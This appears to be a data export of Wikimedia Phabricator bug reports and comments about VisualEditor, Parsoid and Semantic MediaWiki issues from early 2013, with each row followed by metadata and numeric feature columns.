+208575,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,"Whoops, not yet merged.",,,1360613606,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+208571,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Merged.,,,1360612923,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,False,,,-20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+208567,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Patch in: https://gerrit.wikimedia.org/r/48491,,,1360612133,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,False,,,-20,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+46780,VisualEditor: What Heading levels are offered should flex based,"**Author:** `phil`
+
+**Description:**
+Selecting some text and applying Header 6 to it has no affect
+
+The normal editor does not offer this option so it seems inconsistent for it to be an option in the Visual Editor
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360297620,1360376842.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hiumuha3tc6xqypqt2lz,task_description,resolved,True,c1,1,False,False,True,-21,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+231156,VisualEditor: What Heading levels are offered should flex based,"Levels of headings available will need to be tweakable for local integrations - for example, we probably don't want to allow H1s in the article namespace on our content wikis.
+
+However, H6s do in fact work and should be made available in general to HTML editors; not sure whether we should provide them in article space.
+
+Am marking this as a duplicate of bug 43334 which talks about H1s; will adjust that one.
+
+*** This bug has been marked as a duplicate of bug 43334 ***",,,1360376842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+231149,VisualEditor: What Heading levels are offered should flex based,"Created attachment 11760
+Screenshot showing H1 to H6 in VisualEditor mode
+
+**Attached**: {F11017}",,,1360376691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+231140,VisualEditor: What Heading levels are offered should flex based,"Created attachment 11759
+Screenshot showing H1 to H6 in read mode
+
+**Attached**: {F11015}",,,1360376669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+46779,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"**Author:** `phil`
+
+**Description:**
+Link includes the word 'and'
+
+I edited the space after a link so that the word following was right next to the link. I then realised this was not what I wanted so added the space back
+The preview indicated all was well with the space included but after saving the word after the link became part of the link
+
+Example:
+The text I had was
+""A page about a test pilot and his job""
+'test pilot' was a link
+
+I edited the page and put the cursor before the 'a' in 'and' and pressed delete.
+I then pressed Space to move the word back to its original position
+Saved - the preview indicated all was well
+After saving - 'and' had become part of the link
+
+Looking at the page in the normal editor it seems the space has not been put back - the Visual Editor display indicates that it has
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11010}",Needs Triage,90.0,1360296540,1360704683.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_description,resolved,True,c1,1,False,False,True,-21,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+231072,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"Ah, couldn't find the bug; thanks, Gabriel.
+
+*** This bug has been marked as a duplicate of bug 33091 ***",,,1360704683,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231068,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"To me it seems that the VE should produce a DOM including the space: 
+
+<a href=""foo"">bar</a> baz
+
+If that is not the case, then this is a bug in VE. Escaping for legitimate link trails was fixed in bug 33091, which is not yet deployed.
+
+So either way, I don't think there is a bug in Parsoid here.",,,1360704397,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+231063,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"This appears to be a problem in Parsoid.
+
+In VisualEditor the user has (effectively) created <a href=""foo"">bar</a>baz; it is unexpectedly converted into [[foo|bar]]baz instead of [[foo|bar]]<nowiki />baz, hence the confusion.
+
+Gabriel, thoughts?",,,1360703129,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+46686,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,"Open stand alone editor.  Trigger LinkInspector with cmd/ctrl+k or LinkInspector button.
+
+Uncaught TypeError: Cannot read property 'data' of undefined ve.ui.LinkTargetInputWidget.js:84
+ve.ui.LinkTargetInputWidget.getTargetFromAnnotation ve.ui.LinkTargetInputWidget.js:84
+ve.ui.LinkTargetInputWidget.setAnnotation ve.ui.LinkTargetInputWidget.js:63
+ve.ui.LinkInspector.onOpen ve.ui.LinkInspector.js:95
+ve.ui.Inspector.open ve.ui.Inspector.js:206
+ve.ui.Context.openInspector ve.ui.Context.js:355
+ve.InspectorAction.open ve.InspectorAction.js:44
+ve.Surface.execute ve.Surface.js:193
+ve.Surface.execute ve.Surface.js:186
+ve.ce.Surface.onDocumentKeyDown ve.ce.Surface.js:330
+proxy jquery.js:775
+jQuery.event.dispatch jquery.js:3063
+elemData.handle.eventHandle
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360091400,1360105358.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_description,resolved,True,c1,1,False,False,True,-21,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+225462,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,Now merged.,,,1360105358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+225460,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,Patched in https://gerrit.wikimedia.org/r/#/c/47615/,,,1360094494,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_subcomment,,True,c1,1,False,,,-21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+46478,VisualEditor: Unexpected behavior when line starts with space,"nowiki tags
+
+edit a line in VE such that it starts with a space
+
+VE unexpectedly inserts <nowiki> tags on the text of the line
+
+edit a line in VE such that it starts with a text, and add bold or italic to the middle of the line somewhere
+
+VE inserts <nowiki> tags up to the formatted character and leaves the rest of the line alone
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10444}",Needs Triage,90.0,1359487500,1360208015.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-cke5acua2kmqpq2rtiv4,task_description,declined,True,c1,1,False,False,True,-22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+212656,VisualEditor: Unexpected behavior when line starts with space,"... but when you save "" le'''''adi'''''ing space"" in the wikitext editor, you get <pre>le'''''adi'''''ing space</pre>, not <p> le'''''adi'''''ing space</p>. The <nowiki> tags are necessary to get the latter, which is what the VE user actually typed.
+
+Closing as WONTFIX.",,,1360208015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+212649,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11719
+normal editor vs. VE on save
+
+**Attached**: {F10447}",,,1359744124,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+212641,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11718
+normal editor vs. VE preview
+
+**Attached**: {F10446}",,,1359744087,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+212634,VisualEditor: Unexpected behavior when line starts with space,"
+Maybe I'm missing something. 
+
+I've attached a screen shot comparing preview in the normal editor to preview in VE where both are doing exactly the same operation:  editing the string "" leading space"" where the ""adi"" part of the string is made both bold and italic. 
+
+The normal editor does not add <nowiki> tags to this string.  VE adds <nowiki> tags. 
+
+The normal editor does not save the text with <nowiki> tags.  VE saves the text with <nowiki> tags. 
+
+It may be that VE adds <nowiki> tags by design, but they seem unnecessary.  Again, I could be wrong.",,,1359744005,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+212630,VisualEditor: Unexpected behavior when line starts with space,"No, this is expected behaviour. A line that starts with "" "" in wikitext is a pre-formatted block. If VE just let users save <P> Foo</P> as "" Foo"" they'd get very unexpected results.
+
+We don't (and won't) expect users to understand that certain characters are magic and can't be used in certain places, and instead we need to escape character sequences they've entered that happen to be 'magic'.
+
+Unless I'm missing something?",,,1359682189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-22,,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+212627,VisualEditor: Unexpected behavior when line starts with space,look what happens in the regular editor.  I think VE is doing something really strange here.,,,1359671085,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+212625,VisualEditor: Unexpected behavior when line starts with space,I'm not entirely convinced what the expected behaviour is - should it be just the leading ' ' character that is wrapped in <nowiki> elements?,,,1359669739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-22,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1
+212622,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11706
+nowiki tags with formatted text
+
+**Attached**: {F10445}",,,1359487603,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+46313,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"**Author:** `mail`
+
+**Description:**
+Hi,
+
+when I click on the WYSIWYG button on /w/VisualEditor:Sandbox (existsting page), I only get an error:
+
+    {""error"":{""code"":""parsoidserver"",""info"":""Error contacting the Parsoid server""}}
+
+My config is as following:
+
+    require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
+    define( 'NS_VISUALEDITOR', 2500 );
+    define( 'NS_VISUALEDITOR_TALK', 2501 );
+    $wgExtraNamespaces[NS_VISUALEDITOR] = 'VisualEditor';
+    $wgExtraNamespaces[NS_VISUALEDITOR_TALK] = 'VisualEditor_talk';
+    $wgVisualEditorNamespaces = array( NS_MAIN );
+    $wgVisualEditorNamespaces = array();
+    $wgVisualEditorNamespaces[] = NS_VISUALEDITOR;
+    $wgDefaultUserOptions['visualeditor-enable'] = 1;
+    $wgHiddenPrefs[] = 'visualeditor-enable';
+    $wgVisualEditorParsoidURL = 'http://parsoid.wmflabs.org/';
+
+I installed the current git masters from mediawiki and visualeditor as of today (24 Jan 2013).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC
+**URL**: http://lists.wikimedia.org/pipermail/wikitext-l/2013-January/000750.html",Needs Triage,90.0,1359038700,1360207511.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gf44zknlabktvyuiobnc,task_description,resolved,True,c1,1,False,False,True,-23,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+226815,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"
+
+*** This bug has been marked as a duplicate of bug 44483 ***",,,1360207511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gf44zknlabktvyuiobnc,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+226812,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"**mail** wrote:
+
+http://lists.wikimedia.org/pipermail/wikitext-l/2013-January/000750.html
+
+Solved by setting $wgGroupPermissions['*']['read'] from FALSE to TRUE.
+I hope there will be the possibility to have it FALSE in the future :)",,,1359450666,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gf44zknlabktvyuiobnc,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+45925,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"Just very recently I started to work with semantic wikis intensely which use the Vector skin as a standard and where it does not make sense to switch back to MonoBook. 
+
+Having said this, I would like to suggest that the ""Refresh"" tab (purge) of the action menu at the top of a page is not collapsed with miscellaneous other tabs but always displayed expanded between the ""Edit"" and ""View history"" tabs.
+
+Especially for beginners it would be very helpful to make them aware of the possible need to refresh a page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1358094720,1425405042.0,PHID-USER-37d2msujvpp2rippbzoq,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_description,declined,True,c1,1,False,False,False,-25,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+420024,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"The Semantic MediaWiki developers requested in https://phabricator.wikimedia.org/T64114 to move their task tracking to https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues and to close remaining tasks in Wikimedia Phabricator.  If you still face the problem reported in this task in a supported version of SMW, please feel free to transfer your report to https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues .  We are sorry for the inconvenience.",,,1425405042,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+229648,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"Removing relation to Vector skin issues. This is the default behaviour indeed, but individual menu items can indicate whether or not Vector should allow them to ""come out  of the menu"" and onto the horizontal menu bar when space is available.
+
+The navigation links array in PHP (exposed via the SkinTemplateNavigation hook[1]) contains an array for each tab. Setting property 'primary' to boolean true will instruct Vector to apply class ""collapsible"".
+
+Example:
+ https://github.com/wikimedia/mediawiki-extensions-VisualEditor/blob/1f136f9d1d/VisualEditor.hooks.php#L96-L101
+
+
+[1] https://www.mediawiki.org/wiki/Manual:Hooks/SkinTemplateNavigation",,,1409587205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_subcomment,,True,c1,3,True,,,61,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+45841,"VisualEditor: Make link inspector aware of annotations, rather than just target strings","The link inspector currently depends on a function which decides whether a target is an internal or external link, making it impossible to link to a new or existing page named like a URL.
+
+This is related to bug 43063.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43063",Needs Triage,90.0,1357860900,1358388388.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-cek4b33i7kzn3d5tir7d,task_description,resolved,True,c1,1,False,False,True,-25,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+224674,"VisualEditor: Make link inspector aware of annotations, rather than just target strings",Made it to master for the 2013-01-16 branch.,,,1358388388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cek4b33i7kzn3d5tir7d,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+224670,"VisualEditor: Make link inspector aware of annotations, rather than just target strings",Addressed in gerrit 43028.,,,1357861248,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cek4b33i7kzn3d5tir7d,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+45566,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Author:** `Coiby.Xu`
+
+**Description:**
+I'm testing VE and meet such error: ""Error loading data from server: Server error. Would you like to retry"". And the output of Parsoid says: ""non-200 response: 404 undefined"". According to http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2012_12#Error_loading_data_from_server:_Server_error._Would_you_like_to_retry.3F_2, the bug should have be fixed. 
+P.S. I'm using latest VE and Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**OS**: Linux",Needs Triage,90.0,1357052100,1358280165.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-v5mejtdved3hadzpnblg,task_description,invalid,True,c1,1,False,False,True,-26,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+208325,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Coiby.Xu** wrote:
+
+I'm sorry, this should be a bug. It occurs due to the wrong setting in js/api/localsettings.js
+env.setInterwiki( 'localhost', 'http://' );",,,1357704294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-25,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+208320,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**blue.snow013** wrote:
+
+(In reply to comment #4)
+> (In reply to comment #3)
+> > I have the same problems on the latest VE and Parsoid,too.
